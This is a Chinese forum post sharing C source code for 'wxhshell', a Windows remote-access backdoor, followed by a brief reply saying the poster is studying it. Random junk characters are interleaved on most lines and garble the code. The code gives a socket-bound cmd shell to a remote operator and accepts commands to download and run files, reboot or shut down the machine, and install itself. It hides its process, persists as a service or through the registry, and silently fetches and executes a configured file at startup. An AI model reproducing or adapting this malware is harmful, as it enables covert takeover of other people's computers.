  } d'Bxi"K  
  j++; L!*+: L DL  
    } Lu6g`O:['  
LA_{[VWYp>  
  // 下载文件 VO eVS&}  
  if(strstr(cmd,"http://")) { b MD|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); OFtf)cGE  
  if(DownloadFile(cmd,wsh)) M5w/TN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]w>o=<?b  
  else Z5(9=8hB/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9MfU{4:;I  
  } WtZI1`\qe  
  else { F4G81^H  
7Q&-ObW  
    switch(cmd[0]) { Kw`CN  
  9x@|%4Zm"  
  // 帮助 $2h%IK>#G  
  case '?': { $4xSI"+M%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vb]kh _  
    break; 3<W%z]k@M  
  } HuTtp|zM>  
  // 安装 q 7%p3  
  case 'i': { @T\n@M]  
    if(Install()) GqRXNs!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kd^H}k  
    else ?MRY*[$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Cty#|6 k  
    break; _|GbU1Hz  
    } *KvD$(ny  
  // 卸载 5_'lu  
  case 'r': { &$/ #"lW,V  
    if(Uninstall()) GA gTy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [o#% Eg;  
    else ffmtTJFC5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  viAAb  
    break; W#<1504ip  
    } \i_E}Ii0  
  // 显示 wxhshell 所在路径 Gf\h7)T\  
  case 'p': { #3qeRl  
    char svExeFile[MAX_PATH]; VdK%m`;2  
    strcpy(svExeFile,"\n\r"); ) 6)bI.BY  
      strcat(svExeFile,ExeFile); AChz}N$C  
        send(wsh,svExeFile,strlen(svExeFile),0); EB*sd S  
    break; g&FTX>wX  
    } &Pr\n&9A  
  // 重启 /J#(8p  
  case 'b': { ]j*2PSJG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tNT Sy =  
    if(Boot(REBOOT)) |[>@Kk4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3 39q%j$  
    else { T-%=tY+-  
    closesocket(wsh); 0ae8Xm3J@R  
    ExitThread(0); p' >i3T(  
    } O{X~,Em=q  
    break; |HK:\)L%  
    } qG6s.TcG  
  // 关机 iT-coI  
  case 'd': { `} PYltW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r9 @=d  
    if(Boot(SHUTDOWN)) ss)x fG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QadguV6|  
    else { s/D)X=P1  
    closesocket(wsh); [%.v;+L  
    ExitThread(0); T0w_d_aS  
    } D!&(#Vl _  
    break; .Fn|Okn^gr  
    } IO+]^nY `  
  // 获取shell 7QsD"rL  
  case 's': { j<<d A[X  
    CmdShell(wsh); I'uwJy_I\  
    closesocket(wsh); 7PY$=L48A  
    ExitThread(0); !ZBtXt#P  
    break; \Rny*px  
  } KrE 'M  
  // 退出 USBQEt  
  case 'x': { ]O x5F@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .9jKD*U|  
    CloseIt(wsh); i5 rkP`)j  
    break; ~K;QdV=YX  
    } x}] 56f  
  // 离开  js_`L#t  
  case 'q': { =c[tHf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  $GJT  
    closesocket(wsh); Qz~uD'Rs/  
    WSACleanup(); =gB5JB<}2  
    exit(1); g$nS6w|5H  
    break; _Iy\,<  
        } UnhVppnex  
  } _wq?Pa<)e  
  } j_Szw w-  
Wc3z7xK1@  
  // 提示信息 Gt`7i(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WgtLKRZ\  
} [?!I*=*b  
  } V ;T :Q%  
qkb'@f=  
  return; g68p9#G  
} yayhL DL  
L44m!%q  
// shell模块句柄 aB]0?C y9(  
int CmdShell(SOCKET sock) % Y^J''  
{ )kD/ 8  
STARTUPINFO si; ^jdU4  
ZeroMemory(&si,sizeof(si)); @A/k"Ax{r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,lyW'<~gA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yYG<tUG;  
PROCESS_INFORMATION ProcessInfo; oo5=5s6 3}  
char cmdline[]="cmd"; '%NglC[J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \(o"/*  
  return 0; BrV{X&>[i  
} J!I)G&:  
mDB  
// 自身启动模式 -3I3 X  
int StartFromService(void) r~4uIUE{  
{ * QgKo$IF  
typedef struct 25^?|9o7  
{ HgI!q<)  
  DWORD ExitStatus; tXD$HeBB?  
  DWORD PebBaseAddress; NxT"A)u  
  DWORD AffinityMask; U.%Kt,qB  
  DWORD BasePriority; GIC1]y-'  
  ULONG UniqueProcessId; K2   
  ULONG InheritedFromUniqueProcessId; ~wc :/UM|  
}   PROCESS_BASIC_INFORMATION; jc} G+|`  
/ HTY>b  
PROCNTQSIP NtQueryInformationProcess; @mp`C}x"0&  
' W/M>!X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]Bw0Qq F#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KyvZ? R  
8[^'PIz  
  HANDLE             hProcess; M6Fo.eeK3  
  PROCESS_BASIC_INFORMATION pbi; $vO&C6m$  
yV30x9i!2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,$P,x  
  if(NULL == hInst ) return 0; ny={OhP-  
d[ N1zQW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); JzHG5nmB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SC{m@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <g4}7l8  
t^t% >9o  
  if (!NtQueryInformationProcess) return 0; +n3I\7G>  
wb-yAQ8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '`];=QY9pg  
  if(!hProcess) return 0; r-2k<#^r  
D28`?B9 (  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *6uccx7{  
1I +9?fa  
  CloseHandle(hProcess); 0}{xH  
>yIJ8IDF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); EeIDlm0o  
if(hProcess==NULL) return 0; _W!p8cB  
`s#Hq\C  
HMODULE hMod; :\~+#/=:  
char procName[255]; .aOnGp  
unsigned long cbNeeded; @ez Tbc3  
Btt]R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h&@R| N  
eL D?jTi'  
  CloseHandle(hProcess); VObrlOkp  
pI[ZBoR~  
if(strstr(procName,"services")) return 1; // 以服务启动 `\| ssC8u  
~|Y>:M+0Z  
  return 0; // 注册表启动 u'A#%}3  
} AN:@fZ  
f3*?MXxb16  
// 主模块 SF ]@|  
int StartWxhshell(LPSTR lpCmdLine) 4JIYbb-a'  
{ ^}yg%+  
  SOCKET wsl; $K~LM8_CKy  
BOOL val=TRUE; xvLn'8H.  
  int port=0; |dE -^"_  
  struct sockaddr_in door; { >{B`e`$  
h:\oly\  
  if(wscfg.ws_autoins) Install(); `Kl`VP=c  
<oMUQ*OtV  
port=atoi(lpCmdLine); ~=r^3nZR/J  
]LPQYL  
if(port<=0) port=wscfg.ws_port; >"3>s%  
N@o?b  
  WSADATA data; XkKC!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )o _j]K+xI  
7Ob*Yv=[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   AF\T\mtvRm  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M<?Q4a'Q  
  door.sin_family = AF_INET; :q##fG 'm/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wgeNs9L  
  door.sin_port = htons(port); or ;f&![w  
5m$2Ku  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]Z<_ " F  
closesocket(wsl); bJr[I  
return 1; #:fQ.WWO  
} 3M*Bwt;F_  
=V+I=rqo  
  if(listen(wsl,2) == INVALID_SOCKET) { [V# r7a  
closesocket(wsl); E|"=. T  
return 1; Z-=YM P ]Q  
} n_K~ vD  
  Wxhshell(wsl); }$su4A@0  
  WSACleanup(); Tn-C>=tR~%  
-l+P8:fL~  
return 0; e= P  
a.F Al@Br  
} XdgUqQb}  
Tq<2`*Qs  
// 以NT服务方式启动 e>'H IO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @!=\R^#p  
{ f}%D"gz  
DWORD   status = 0; H!e 3~+)  
  DWORD   specificError = 0xfffffff; RH)EB<PV  
1tzV8(7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *2 "6fX[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }H:F< z*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6bc3 37b  
  serviceStatus.dwWin32ExitCode     = 0; k4J8O3E  
  serviceStatus.dwServiceSpecificExitCode = 0; [ Mg8/Oy  
  serviceStatus.dwCheckPoint       = 0; $Byj}^;1  
  serviceStatus.dwWaitHint       = 0; |8_JY2 R  
D,l,`jv*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); JF9yVE-  
  if (hServiceStatusHandle==0) return; u?ek|%Ok  
5}ie]/[|  
status = GetLastError(); tU wRE|_  
  if (status!=NO_ERROR) AT Zhr. H  
{ PrQ?PvA<L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6Sj6i^"  
    serviceStatus.dwCheckPoint       = 0; mwv(j_  
    serviceStatus.dwWaitHint       = 0; ^he=)rBb?  
    serviceStatus.dwWin32ExitCode     = status; }!#gu3  
    serviceStatus.dwServiceSpecificExitCode = specificError; <3PL@orO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \/7i-B]G7  
    return; 3q[WHwmm  
  } iL{M+Ic  
%WG9 dYdS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SZ![%)83  
  serviceStatus.dwCheckPoint       = 0; Q "r_!f  
  serviceStatus.dwWaitHint       = 0; 57{oh")  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9&%fq)gS  
} +!-~yf#RE  
DH DZ_t:  
// 处理NT服务事件,比如:启动、停止 NBh%:tu7M  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )Ag/Qep  
{ jg  2qGC  
switch(fdwControl) E{xVc;t  
{ 3LR p2(A  
case SERVICE_CONTROL_STOP: "i.r@<)S  
  serviceStatus.dwWin32ExitCode = 0; F-(dRSDNM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ln*icaDqf  
  serviceStatus.dwCheckPoint   = 0; y< R=  
  serviceStatus.dwWaitHint     = 0; \ A1uhHP!  
  { T@wcHg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #yseiVm;  
  } FFhtj(hVgc  
  return; _fFU#k:MU  
case SERVICE_CONTROL_PAUSE: HWns.[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &Wp8u#4L  
  break; Dq\ Jz~  
case SERVICE_CONTROL_CONTINUE: >>l`,+y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y #f QPR  
  break; +`mGK:>  
case SERVICE_CONTROL_INTERROGATE: Hi! Jj  
  break; }g +;y  
}; A % Q!^d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pN6%&@) =  
} 4!62/df  
05Fz@31~  
// 标准应用程序主函数 9Ywpej*+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e;bYaM4 UX  
{ + Y.1)i}  
psh^MX)Q  
// 获取操作系统版本 *F ^wtH`  
OsIsNt=GetOsVer(); f8 /'%$N  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Agh`]XQ2  
R9We/FhOY  
  // 从命令行安装 U=Y)V%  
  if(strpbrk(lpCmdLine,"iI")) Install(); h-a!q7]l  
gieN9S  
  // 下载执行文件 uhH^>z KA  
if(wscfg.ws_downexe) { /gcEw!JS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DF]9@{  
  WinExec(wscfg.ws_filenam,SW_HIDE); A$0H .F>  
} }K1 0Po'  
"|Fy+'5}  
if(!OsIsNt) { $\o {_?}1  
// 如果时win9x,隐藏进程并且设置为注册表启动 a ?} .Fs  
HideProc(); 0|xIBg)  
StartWxhshell(lpCmdLine); %t=kdc0=_  
} YG:3Fhx0~  
else j| Wv7  
  if(StartFromService()) C,V%B  
  // 以服务方式启动 kNqS8R|  
  StartServiceCtrlDispatcher(DispatchTable); C fEmT8sa  
else +:=(#Y  
  // 普通方式启动 @}_WE,r  
  StartWxhshell(lpCmdLine); ~I/@i  
5*PYT=p}  
return 0; rt3qdk5U  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五